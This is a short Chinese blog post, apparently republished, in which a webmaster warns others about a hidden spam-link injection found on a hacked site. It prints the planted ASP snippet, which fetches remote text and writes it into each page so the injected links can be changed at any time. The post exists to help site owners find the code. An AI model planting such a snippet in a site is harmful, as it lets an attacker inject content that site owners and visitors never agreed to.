今天在處理一個(gè)網(wǎng)站被掛鏈接的事件中發(fā)現(xiàn)了一個(gè)新的放隱藏鏈接辦法，以前見過的一般都是marquee大小為1或者使用CSS隱藏的方法，今天發(fā)現(xiàn)的這個(gè)方法居然還可以隨時(shí)更新該鏈接，越來越難發(fā)現(xiàn)并更智能化了。不多說了，先把今天發(fā)現(xiàn)的代碼發(fā)來，供廣大站長參考，檢查自己的網(wǎng)站有無類似代碼。
代碼如下：

?

??? <%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("網(wǎng)址"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

?

上面的“網(wǎng)址”就是存放鏈接文本的網(wǎng)址，利用這段代碼就可以隨時(shí)更新鏈接而無需再到原始網(wǎng)站進(jìn)行更新，如果這些人把心思用到正道上那該多好啊，廣大站長盡快查一下自己的網(wǎng)站是否有這樣的代碼了。

《新程序員》：云原生和全面數(shù)字化實(shí)踐50位技術(shù)專家共同創(chuàng)作，文字、視頻、音頻交互閱讀

總結(jié)

以上是生活随笔為你收集整理的用ASP实现隐藏链接方法的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。